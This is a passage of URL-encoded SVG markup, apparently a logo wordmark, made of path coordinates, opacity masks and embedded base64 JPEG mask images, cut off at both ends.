qD6FjjUu7kKqqKlicgABxwOq9VGy7Sot7cEHy6gqXcqSCSDkOH06J0S3cGSQiS8A%2bFFo0aHL4jza
1yHA%2bk9NmalvfUCVOSzr7mpoN45dKk7cJfKB5ljICSSR%2bXMRGwA0J37MSXV7HvsrSnKa7ZJTmqnK
hAGbCvZwODNcypBAlKu7BFHAZnLDrZQzXbqRsYgRRPWleZquKf1PxxHFciSykcDc0gDRBzQbd6En
jqVA7aYWWF1kicBkdCGVgdCCMjgRdQtknVfdY1DrmDyutGWtM6HDMs10gYkhFdKKDwG6InLvOCen
2qRO2TSmryUNKje5ZqZaDLHnz8871Fvbg0aRh9yjif24kurqQyzyndJI2pPpjuIW2TQuskbZHayH
cpz7xhhEfLTqNqdhYAlPPjyqAdV3duL6%2buTSKC5kYioBYiKKirWmbHIYN1dHai1EEAPJEnYO0nie
P1D077CdkQmrwnmifSu5DlU0pUZ9%2bAl9WwnJAo9XiJJplIoy79wFO3H8ztP9eP8AtYePprfO3eaq
QpEKsDSrMdu4dm2te0a4e9vX3yvoNFRRoiDgB%2bufqtasy77OZkVB7wjk/NVm%2blman0Y6j0qSQfKm
8e8ES027phuRq0rXY4Htby0FPLmgErV97dE4VaeEjYndZBI00cTuo1jYII9jd9FDePtbO4upFhgT
zd8jnaorFIoqT3nFx1CbJ7hy23Xao5UStBXaoA/SP//Z' transform='matrix(1 0 0 1 4
1.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.23'
mask='url(%23SVGID_2_)'%3e%3cg%3e%3cpath
d='M8.16%2c33.918l-2.054%2c11c0%2c0%2c12.501%2c8.385%2c19.303%2c23.496c8.179%2c18.156%2c9.506%2c35.847%2c9.506%2c35.847
l3.238-9.101c0%2c0-0.903-14.925-7.833-31.89C21.297%2c41.2%2c8.16%2c33.918%2c8.16%2c33.918z'%3e%3c/path%3e%3cpath
d='M23.269%2c42.307c0%2c0%2c5.469-16.144%2c18.835-15.909c13.138%2c0.238%2c18.492%2c11.546%2c30.941%2c10.453
c17.877-1.588%2c30.146-24.692%2c30.146-24.692l-1.821-8.466c0%2c0-11%2c20.179-28.558%2c20.894c-11.637%2c0.467-15.672-9.105-28.009-9.893
c-16.77-1.076-22.795%2c17.88-22.795%2c17.88L23.269%2c42.307z'%3e%3c/path%3e%3cpath
d='M39.574%2c83.37c0%2c0%2c7.12-14.241%2c19.938-14.082C71.225%2c69.434%2c77.271%2c80.76%2c89.737%2c79.81
c14.556-1.107%2c23.501-21.52%2c23.501-21.52l-1.661-7.594c0%2c0-7.68%2c17.488-22.312%2c18.036
c-11.638%2c0.441-15.279-9.228-27.617-10.128c-14.088-1.029-21.603%2c13.533-21.603%2c13.533L39.574%2c83.37z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M161.441%2c30.68l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c51.094c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.506c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.331c-3.328%2c0.95-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c49.127c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c49.127z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.911c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3cpath
d='M161.441%2c30.68l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c51.094c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.506c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.331c-3.328%2c0.95-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c49.127c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c49.127z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.911c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M161.441%2c30.18l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21
c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c50.594c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.006
c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.332c-3.328%2c0.951-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c48.627c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c48.627z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.411c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122c2.673-3.869%2c5.709-4.873%2c11.414-4.873
c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72c0.361-5.178%2c0.897-10.355%2c0.897-15.531
c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834
c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_2_' filterUnits='userSpaceOnUse' x='124.774'
y='29.411' width='123.962' height='40.4'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='124.774' y='29.411' width='123.962'
height='40.4' id='SVGID_3_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_2_)'%3e%3cimage overflow='visible'
width='129' height='45'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAIbAAADUAAAB8z/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIAC0AgQMBIgACEQEDEQH/
xAClAAADAQEAAwEAAAAAAAAAAAAFBgcABAECAwgBAQAAAAAAAAAAAAAAAAAAAAAQAAEDAgYCAgMB
AAAAAAAAAAUDBAYAARACFRYHFxQ2QBEgEzUnEQABAgQCBgYHBgILAAAAAAACAQMRIRIEABMQMSIy
FAVBUYEjNBVxQlIzo7PTIGGRooMWYpLwobHRcpPDJHSE9BIBAAAAAAAAAAAAAAAAAAAAQP/aAAwD
AQACEQMRAAAA9zqcwhDMCufeQVnhJpqWmAfGHMmjG2DxhmlrRicaoLIq7YzAvsBYJpS04aQzCBPv
7BPAx7uQj6d8poBQAhuIFo5Q5kh%2b2M3qBctMkNpxY/MioJ0rZ%2bfFOKxCkhoZyLRUvz%2b/oBYOlFwo
bY//2gAIAQIAAQUA%2bX//2gAIAQMAAQUA%2bX//2gAIAQEAAQUAhsPCvwexIpWxIpWxIpV4HFL2/KCi
B5cvsSKVKGjFkexAz%2b4YUBn%2bslak812%2b/jssIH1W/GAnKk44wE5kpDGCIBWPRgifVb8YCcqV%2bMQP
1DhVw0zrJx5Z%2bT6xA1J4MuEa4QT2uuQmyjyUsmTUe1lBs0NvGiRQkPlDZFzHgwxISMLF2Idmjyix
zLgyDU7J6Oy0SCVZPWz9rIbWuAwgntdE75b8k0dmIwC77OA1fkiOL2rlNBXMhXFeEid3eneOkV04
3IP4OHGVrXP1MHKjOaiC7IyyJBxhZPYkUrkdqyHto1IGx0eqkmsnkBBE88atdwVwgnqkrdZGkcwj
O4NQ/wBWo5quqx3cfmD%2bw/Fc9gePJ9zeUG1jzh/YfilOx/0h9/1m7V%2bqAdgaUf7A0qv/2gAIAQIC
Bj8AX//aAAgBAwIGPwBf/9oACAEBAQY/AG7/AJizxDtwZqG24FAASt092aIsxVY/fjwPxnvqY8D8
Z76mPA/Ge%2bpiHAw%2b/Oe%2bp9t225g1nMhbk4IVEG0htiixBRXUS48D8Z76mLy15ciJaskIgKEp0kgD
mDUSqsjin2GOWrYZ%2bRXB3OojWZObuWXtdeGOW8BkZ9fe51dNAE5u5Q%2bz16G7LguJzGRerzcuFRGF
MMs/YwSW/K0atm1RHrk7haUiqREURnaKE4fiqRwiXN3cOvTqNuhsVnKAELi/mwqW13cNPSpNyhwU
nOICLa/mwKXEHbdxVRq4bjSsPVKO6UJw/BVhgkt4NW7aojtw5GlI%2bqMN4oTh%2bKpHCJc3dw69Oo26
GxWcoAQuL%2bbEri7j0bbf0sX/AC1Xc/ItF72miqsrdzdiUN7r0X19zR82Wn7l82WWaa1AnFIDIyqR
Ip6sO1NWPEXf87f0cLf27/E2glBxCFANoSWkIzVCmsFVIejq0WP63yXNFjaNQR24YZaBSklRvOik
e1cN2lo2jTDSQAE/tXrVelcMNcm5ed66aKTx5LrrYDqFO6glSrH1pQ1TwT3NbRbK6Bwgy1A20IUQ
SQ0F3aTehrXVjmLbw1CNu46PRA2hVwFl1EKYt%2bXtLFGAgRT2zXaMpquslVcFeXp0tjIRSZmXQAJK
K/0XBC/YOhbpGhwDEzWezFskBEin8S9uHeb2Crw7PL27d0TRRNHXXScRIalgITVF0Axdq45cGiHk
sjUSAtSISqSiOseuP3YbvLRxHWHkqA06ehfQqLJUxzOM/wDaP/LLTY/rfJc0cpjCVqX403MNAWd4
0%2bbhto6itCBDSREHruDPZx4e7/kb%2btjIet7nJd2HMxtsgpLZKsUcKKQ1yXRy64QYstm82ZSkTiAQ
J2oBaOaf9f8A1tF/c5iPCb5o24kIK2C0Nwh0UImBN0qgeecNhIqtIJBtUgurbAll145n/wAR/wCW
Wl%2bPRaHD/Ma0XF21BXbdy3dBCmlQNNEke1MBeWZ1AUjBd9s%2bkDToVMI1zC2B8R3SWKGM0XZMYEMY
TguPA/Ge%2bpiwtrK0YtwfNw3CabECVWUEQRVGEU71deAeAkS7bERu2tSi5CaokV2SXd/vwTTwC40a
KJgaIQki60VFkuBcb5dagYKhCQsNooqk0VFQcc/5jIEcu0tMtOjgworj/HVGHRpsf1vnOY5i6aKS
EwTSIOuL/cis%2bpTnpP8Ab8eMyir937qoavf7O9Tj/wAWH/OY%2bYRHPjR7A0%2b62d2GrC/t/OzpZmXD
L1FTm1931wr7J4DiPL82Kx4mvN1yq4Xu/RDtnhzK8szKVpys7MjCVGdsR/xS68NfuKvNoXJjRRTH
apydiPX06o9GA8mzuMlDIjGmpN%2bEqIwjVs9eA4jy/NiseJrzdcquF7v0Q7Z4DheCrqnwm/CC73Gb
EPRPF75XHxTnGR4fxUs33vZuywsYwh0cHH%2brQz5LHy%2bJ5PhvbKv321vRw951Hy%2bIZ3hvbGj3O1vQ
0f/Z' transform='matrix(1 0 0 1 122
27.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg opacity='0.36'
mask='url(%23SVGID_3_)'%3e%3cg%3e%3cpath
d='M161.441%2c30.18l-0.344%2c8.629c-0.468-0.057-7.58-0.287-12.065-0.287
c-0.704%2c9.268-1.223%2c23.257-1.287%2c30.55H135.21c0.928-9.332%2c1.579-18.775%2c1.694-30.55c-4.027%2c0-8.051%2c0.174-12.13%2c0.287
l0.289-8.629H161.441z'%3e%3c/path%3e%3cpath
d='M164.37%2c50.594c0.3-2.56%2c2.088-5.238%2c5.303-5.238c2.847%2c0%2c4.282%2c1.783%2c4.282%2c5.238H164.37z
M184.479%2c56.006c0.3-1.49%2c0.419-2.974%2c0.419-4.46c0-8.273-5.355-12.849-15.11-12.849c-15.827%2c0-17.078%2c13.38-17.078%2c16.535
c0%2c11.724%2c8.273%2c14.579%2c17.729%2c14.579c3.455%2c0%2c6.961-0.424%2c10.356-1.132l1.426-8.332c-3.328%2c0.951-6.903%2c1.965-10.407%2c1.965
c-3.932%2c0-7.8-1.668-7.8-6.307H184.479z'%3e%3c/path%3e%3cpath
d='M212.27%2c48.627c-2.442-0.834-4.998-1.425-7.556-1.425c-4.582%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c48.627z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.411c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122
c2.673-3.869%2c5.709-4.873%2c11.414-4.873c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72
c0.361-5.178%2c0.897-10.355%2c0.897-15.531c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875
c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M264.56%2c38.237c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c51.094c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.506c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.331c-3.337%2c0.95-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.938c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.516%2c331.017%2c50.199%2c331.374%2c47.938z
M329.827%2c83.163c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.789l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.789z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.938c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.516%2c402.761%2c50.199%2c403.125%2c47.938z
M401.69%2c65.847
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.847z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.911c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686
H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.597c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c36.22l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c49.127c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c49.127z'%3e%3c/path%3e%3cpath
d='M264.56%2c38.237c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c51.094c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.506c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.331c-3.337%2c0.95-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.938c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.516%2c331.017%2c50.199%2c331.374%2c47.938z
M329.827%2c83.163c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.789l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.789z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.938c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.516%2c402.761%2c50.199%2c403.125%2c47.938z
M401.69%2c65.847
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.847z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.911c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686
H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.597c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c36.22l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c49.127c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c49.127z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M264.56%2c37.737c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686h21
c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c50.594c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.006
c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.332c-3.337%2c0.951-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.438c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023c0%2c3.51-1.603%2c7.907-5.83%2c7.907
c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.016%2c331.017%2c49.699%2c331.374%2c47.438z
M329.827%2c82.663
c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.289l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.289z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.438c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023c0%2c3.51-1.6%2c7.907-5.83%2c7.907
c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.016%2c402.761%2c49.699%2c403.125%2c47.438z
M401.69%2c65.347h0.12
c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
